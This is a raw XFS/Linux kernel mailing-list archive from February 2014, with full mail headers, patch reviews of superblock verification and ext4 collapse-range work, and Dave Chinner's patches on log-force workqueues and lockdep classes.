[gmail.com/209.85.216.175] Received: by mail-qc0-f175.google.com with SMTP id x13so26375971qcv.6 for ; Tue, 18 Feb 2014 17:08:39 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=rwpqu5n8wpBOzrjFvlrQS1Wk7ushMmlxpNSUWyRzkwQ=; b=0mr4DmqpOqKsG2LsLTQ5jmspxTmM1184RUjd2paXJQnNE3qw4URE7J2gK7EDW+12Rg xl/gMQ5bwqtZdYMpL0OFz52afv/2gI40d5mYzFwUzC7a0jwGYj0BE3P55FLYpDHUONAl npD7/kjvSe0NF82yqA7NCZyZjFFBHbaDxk7/5cwiRelcVJYO9aaISgF8yIfpZVhR6vkv gD43id5dMJ/ycoIF5gQ6uY9xolyPtNjA7w1V6cgk12Q1+wXSEJC5e4VRa3UGX0c4/j45 z0CR0fIM+nBOfsstIhC8akxBymWWB6C+in1OvWsW5o86825df9cTMBkOEwzA7f0NclV/ 1QCQ== MIME-Version: 1.0 X-Received: by 10.224.114.78 with SMTP id d14mr48142034qaq.19.1392772119164; Tue, 18 Feb 2014 17:08:39 -0800 (PST) Received: by 10.96.109.102 with HTTP; Tue, 18 Feb 2014 17:08:39 -0800 (PST) In-Reply-To: <20140218143005.GO26580@thunk.org> References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> <20140218143005.GO26580@thunk.org> Date: Wed, 19 Feb 2014 10:08:39 +0900 Message-ID: Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: "Theodore Ts'o" Cc: Namjae Jeon , =?UTF-8?B?THVrw6HFoSBDemVybmVy?= , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qc0-f175.google.com[209.85.216.175] X-Barracuda-Start-Time: 1392772119 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145262 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-18 23:30 GMT+09:00, Theodore Ts'o : > Namjae, Hi Ted. > > Did you respond to Matthew Wilcox's comments/question from Feb. 2nd? Sorry, I didn't catch about this. I just replied from Matthew's mail. Thanks for your remind. > >> > What if the file is mmaped at the time somebody issues this command? >> > Seems to me we should drop pagecache pages that overlap with the >> > removed blocks. If the removed range is not a multiple of PAGE_SIZE, >> > then we should also drop any pagecache pages after the removed range. >> >> Oops, forgot to add "and if it is a multiple of page size, then we need >> to update the offsets of any pages after the removed page". > > Dave responded that XFS does the right thing when doing a punch hole > operation, but it wasn't obvious to me whether FL_COLLAPSE_RANGE does > the right thing with ext4. > > Thanks, > > - Ted > From david@fromorbit.com Tue Feb 18 21:37:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 368587FEE for ; Tue, 18 Feb 2014 21:37:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id AF026AC004 for ; Tue, 18 Feb 2014 19:36:57 -0800 (PST) X-ASG-Debug-ID: 1392781014-04cbb00c2a56f610001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id oPGEzeJMSmM5mbD2 for ; Tue, 18 Feb 2014 19:36:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHAHEmBFN5LJYe/2dsb2JhbABZgwa8BIVRgSEXdIIlAQEFJxMcIxAIAxgJJQ8FJQMhE4gEzSYXFo4FSQeEOASYL5Ilg0EogS0 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:06:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFxxX-0001ya-D9; Wed, 19 Feb 2014 14:36:31 +1100 Date: Wed, 19 Feb 2014 14:36:31 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/9] xfs: skip verification on initial "guess" superblock read Message-ID: <20140219033631.GK13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/9] xfs: skip verification on initial "guess" superblock read References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-2-git-send-email-sandeen@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392767549-25574-2-git-send-email-sandeen@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392781014 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 05:52:21PM -0600, Eric Sandeen wrote: > When xfs_readsb() does the very first read of the superblock, > it makes a guess at the length of the buffer, based on the > sector size of the underlying storage. This may or may > not match the filesystem sector size in sb_sectsize, so > we can't i.e. do a CRC check on it; it might be too short. > > In fact, mounting a filesystem with sb_sectsize larger > than the device sector size will cause a mount failure > if CRCs are enabled, because we are checksumming a length > which exceeds the buffer passed to it. > > So always read twice; the first time we read with NULL > buffer ops to skip verification; then set the proper > read length, hook up the proper verifier, and give it > another go. > > Once we are sure that we've got the right buffer length, > we can also use bp->b_length in the xfs_sb_read_verify, > rather than the less-trusted on-disk sectorsize for > secondary superblocks. Before this we ran the risk of > passing junk to the crc32c routines, which didn't always > handle extreme values. > > Signed-off-by: Eric Sandeen Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 18 21:37:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A9A997FEE for ; Tue, 18 Feb 2014 21:37:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3A4C3AC007 for ; Tue, 18 Feb 2014 19:37:27 -0800 (PST) X-ASG-Debug-ID: 1392781045-04bdf00fc0141ad0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id NhJxo0Y6bWukngHo for ; Tue, 18 Feb 2014 19:37:25 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHAHEmBFN5LJYe/2dsb2JhbABZgwa8BIVRgSEXdIIlAQEFOhwjEAgDGAklDwUlAyETiATNJhcWjXdXB4Q4BJgvkiWDQSiBLQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:07:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFxyL-0001yk-JA; Wed, 19 Feb 2014 14:37:21 +1100 Date: Wed, 19 Feb 2014 14:37:21 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/9] xfs: limit superblock corruption errors to actual corruption Message-ID: <20140219033721.GL13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/9] xfs: limit superblock corruption errors to actual corruption References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-3-git-send-email-sandeen@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392767549-25574-3-git-send-email-sandeen@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392781045 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 05:52:22PM -0600, Eric Sandeen wrote: > Today, if > > xfs_sb_read_verify > xfs_sb_verify > xfs_mount_validate_sb > > detects superblock corruption, it'll be extremely noisy, dumping > 2 stacks, 2 hexdumps, etc. > > This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb > as well as in xfs_sb_read_verify. > > Also, *any* errors in xfs_mount_validate_sb which are not corruption > per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, > rw-incompat etc - things which do not return EFSCORRUPTED - will > still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify > sees any error at all. And it suggests to the user that they > should run xfs_repair, even if the root cause of the mount failure > is a simple incompatibility. > > I'll submit that the probably-not-corrupted errors don't warrant > this much noise, so this patch removes the warning for anything > other than EFSCORRUPTED returns, and replaces the lower-level > XFS_CORRUPTION_ERROR with an xfs_notice(). > > Signed-off-by: Eric Sandeen Agreed. Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 18 21:41:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 27BA57FEE for ; Tue, 18 Feb 2014 21:41:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C4DDC8F8078 for ; Tue, 18 Feb 2014 19:41:38 -0800 (PST) X-ASG-Debug-ID: 1392781296-04bdf00fc9141e70001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id YBpMkxaUFUjPhiCZ for ; Tue, 18 Feb 2014 19:41:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMHAJ4nBFN5LJYe/2dsb2JhbABZgwa8BIVRgSEXdIIlAQEEATocIwULCAMOCgklDwUlAyETFIdpB80nFxaOTgeEOASYL5Ilg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:11:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFy26-0001z1-7X; Wed, 19 Feb 2014 14:41:14 +1100 Date: Wed, 19 Feb 2014 14:41:14 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: remove myself from xfs Message-ID: <20140219034114.GM13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: remove myself from xfs References: <20140218205911.GL4806@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140218205911.GL4806@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392781296 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 02:59:11PM -0600, Ben Myers wrote: > SGI is stepping out of maintainer roles for xfs, xfsprogs, xfsdump, and > xfstests. This removes me from the MAINTAINERS entry. As i said in private: I'm saddened to hear this. Many thanks must go to SGI for providing this service to the XFS community for the past 13 years and, most importantly, for building the Linux XFS community in the first place. > Signed-off-by: Ben Myers Signed-off-by: Dave Chinner I'll push this up to linus in the next -rc pull request. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Tue Feb 18 22:17:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 560188002 for ; Tue, 18 Feb 2014 22:17:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DEB65AC008 for ; Tue, 18 Feb 2014 20:17:19 -0800 (PST) X-ASG-Debug-ID: 1392783437-04bdf00fc01442b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id igUSfBsEBQTm6JKy for ; Tue, 18 Feb 2014 20:17:18 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAMMvBFN5LJYe/2dsb2JhbABZgwbCbhd0giUBAQUnLzMIGDE5AxsZiATNLxeTIwSqVINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:46:50 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WFyaT-00022j-7T for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WFyaT-0001FU-4r for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfs: always do log forces via the workqueue Date: Wed, 19 Feb 2014 15:16:40 +1100 X-ASG-Orig-Subj: [PATCH 1/3] xfs: always do log forces via the workqueue Message-Id: <1392783402-4726-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1392783402-4726-1-git-send-email-david@fromorbit.com> References: <1392783402-4726-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392783437 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Log forces can occur deep in the call chain when we have relatively little stack free. Log forces can also happen at close to the call chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from places where we really don't want to add more stack overhead. This stack overhead occurs because log forces do foreground CIL pushes (xlog_cil_push_foreground()) rather than waking the background push wq and waiting for the for the push to complete. This foreground push was done to avoid confusing the CFQ Io scheduler when fsync()s were issued, as it has trouble dealing with dependent IOs being issued from different process contexts. Avoiding blowing the stack is much more critical than performance optimisations for CFQ, especially as we've been recommending against the use of CFQ for XFS since 3.2 kernels were release because of it's problems with multi-threaded IO workloads. Hence convert xlog_cil_push_foreground() to move the push work to the CIL workqueue. We already do the waiting for the push to complete in xlog_cil_force_lsn(), so there's nothing else we need to modify to make this work. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_cil.c | 52 +++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 39 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index b57a8e0..7e54553 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -499,13 +499,6 @@ xlog_cil_push( cil->xc_ctx = new_ctx; /* - * mirror the new sequence into the cil structure so that we can do - * unlocked checks against the current sequence in log forces without - * risking deferencing a freed context pointer. - */ - cil->xc_current_sequence = new_ctx->sequence; - - /* * The switch is now done, so we can drop the context lock and move out * of a shared context. We can't just go straight to the commit record, * though - we need to synchronise with previous and future commits so @@ -523,8 +516,15 @@ xlog_cil_push( * Hence we need to add this context to the committing context list so * that higher sequences will wait for us to write out a commit record * before they do. + * + * xfs_log_force_lsn requires us to mirror the new sequence into the cil + * structure atomically with the addition of this sequence to the + * committing list. This also ensures that we can do unlocked checks + * against the current sequence in log forces without risking + * deferencing a freed context pointer. */ spin_lock(&cil->xc_push_lock); + cil->xc_current_sequence = new_ctx->sequence; list_add(&ctx->committing, &cil->xc_committing); spin_unlock(&cil->xc_push_lock); up_write(&cil->xc_ctx_lock); @@ -662,8 +662,14 @@ xlog_cil_push_background( } +/* + * xlog_cil_push_now() is used to trigger an immediate CIL push to the sequence + * number that is passed. When it returns, the work will be queued for + * @push_seq, but it won't be completed. The caller is expected to do any + * waiting for push_seq to complete if it is required. + */ static void -xlog_cil_push_foreground( +xlog_cil_push_now( struct xlog *log, xfs_lsn_t push_seq) { @@ -688,10 +694,8 @@ xlog_cil_push_foreground( } cil->xc_push_seq = push_seq; + queue_work(log->l_mp->m_cil_workqueue, &cil->xc_push_work); spin_unlock(&cil->xc_push_lock); - - /* do the push now */ - xlog_cil_push(log); } bool @@ -795,7 +799,8 @@ xlog_cil_force_lsn( * xlog_cil_push() handles racing pushes for the same sequence, * so no need to deal with it here. */ - xlog_cil_push_foreground(log, sequence); +restart: + xlog_cil_push_now(log, sequence); /* * See if we can find a previous sequence still committing. @@ -803,7 +808,6 @@ xlog_cil_force_lsn( * before allowing the force of push_seq to go ahead. Hence block * on commits for those as well. */ -restart: spin_lock(&cil->xc_push_lock); list_for_each_entry(ctx, &cil->xc_committing, committing) { if (ctx->sequence > sequence) @@ -821,6 +825,28 @@ restart: /* found it! */ commit_lsn = ctx->commit_lsn; } + + /* + * The call to xlog_cil_push_now() executes the push in the background. + * Hence by the time we have got here it our sequence may not have been + * pushed yet. This is true if the current sequence still matches the + * push sequence after the above wait loop and the CIL still contains + * dirty objects. + * + * When the push occurs, it will empty the CIL and + * atomically increment the currect sequence past the push sequence and + * move it into the committing list. Of course, if the CIL is clean at + * the time of the push, it won't have pushed the CIL at all, so in that + * case we should try the push for this sequence again from the start + * just in case. + */ + + if (sequence == cil->xc_current_sequence && + !list_empty(&cil->xc_cil)) { + spin_unlock(&cil->xc_push_lock); + goto restart; + } + spin_unlock(&cil->xc_push_lock); return commit_lsn; } -- 1.8.4.rc3 From dave@fromorbit.com Tue Feb 18 22:17:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 56ADF8002 for ; Tue, 18 Feb 2014 22:17:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B5F98F8078 for ; Tue, 18 Feb 2014 20:17:18 -0800 (PST) X-ASG-Debug-ID: 1392783435-04cbb00c28572240001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id YgkDvdKNRlZguR2k for ; Tue, 18 Feb 2014 20:17:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlMGAMMvBFN5LJYe/2dsb2JhbABZgwbBVIEaF3SCJQEBBScvMwgYMTkDGxmIBM0vF45ZKIQiBJRHlg2DQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:46:50 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WFyaT-00022k-7S for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WFyaT-0001Fa-5S for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive Date: Wed, 19 Feb 2014 15:16:41 +1100 X-ASG-Orig-Subj: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive Message-Id: <1392783402-4726-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1392783402-4726-1-git-send-email-david@fromorbit.com> References: <1392783402-4726-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392783435 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The change to add the IO lock to protect the directory extent map during readdir operations has cause lockdep to have a heart attack as it now sees a different locking order on inodes w.r.t. the mmap_sem because readdir has a different ordering to write(). Add a new lockdep class for directory inodes to avoid this false positive. Signed-off-by: Dave Chinner --- fs/xfs/xfs_iops.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 9ddfb81..bb3bb65 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -48,6 +48,18 @@ #include #include +/* + * Directories have different lock order w.r.t. mmap_sem compared to regular + * files. This is due to readdir potentially triggering page faults on a user + * buffer inside filldir(), and this happens with the ilock on the directory + * held. For regular files, the lock order is the other way around - the + * mmap_sem is taken during the page fault, and then we lock the ilock to do + * block mapping. Hence we need a different class for the directory ilock so + * that lockdep can tell them apart. + */ +static struct lock_class_key xfs_nondir_ilock_class; +static struct lock_class_key xfs_dir_ilock_class; + static int xfs_initxattrs( struct inode *inode, @@ -1191,6 +1203,7 @@ xfs_setup_inode( xfs_diflags_to_iflags(inode, ip); ip->d_ops = ip->i_mount->m_nondir_inode_ops; + lockdep_set_class(&ip->i_lock.mr_lock, &xfs_nondir_ilock_class); switch (inode->i_mode & S_IFMT) { case S_IFREG: inode->i_op = &xfs_inode_operations; @@ -1198,6 +1211,7 @@ xfs_setup_inode( inode->i_mapping->a_ops = &xfs_address_space_operations; break; case S_IFDIR: + lockdep_set_class(&ip->i_lock.mr_lock, &xfs_dir_ilock_class); if (xfs_sb_version_hasasciici(&XFS_M(inode->i_sb)->m_sb)) inode->i_op = &xfs_dir_ci_inode_operations; else -- 1.8.4.rc3 From dave@fromorbit.com Tue Feb 18 22:17:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B3ABE800C for ; Tue, 18 Feb 2014 22:17:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 46702AC004 for ; Tue, 18 Feb 2014 20:17:19 -0800 (PST) X-ASG-Debug-ID: 1392783435-04cbb00c28572240002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id IiHsQGOGrMDXqZtE for ; Tue, 18 Feb 2014 20:17:17 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlAGAMMvBFN5LJYe/2dsb2JhbABZgwbCbhd0gwI7gQIDiDicL7EXjwGEIgSqVINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 14:46:50 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WFyaT-00022i-7R for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WFyaT-0001FR-3x for xfs@oss.sgi.com; Wed, 19 Feb 2014 15:16:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs: lockdep and stack reduction fixes Date: Wed, 19 Feb 2014 15:16:39 +1100 X-ASG-Orig-Subj: [PATCH 0/3] xfs: lockdep and stack reduction fixes Message-Id: <1392783402-4726-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392783437 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The following patches fix the lockdep regression caused by adding the inode ilock to the readdir code and reduce the stack of XFS in a couple of critical paths. The log force change is the critical one, as it can happen a leaf functions in the code paths and hence greatly increase the maximum stack depth of any path that needs to unpin 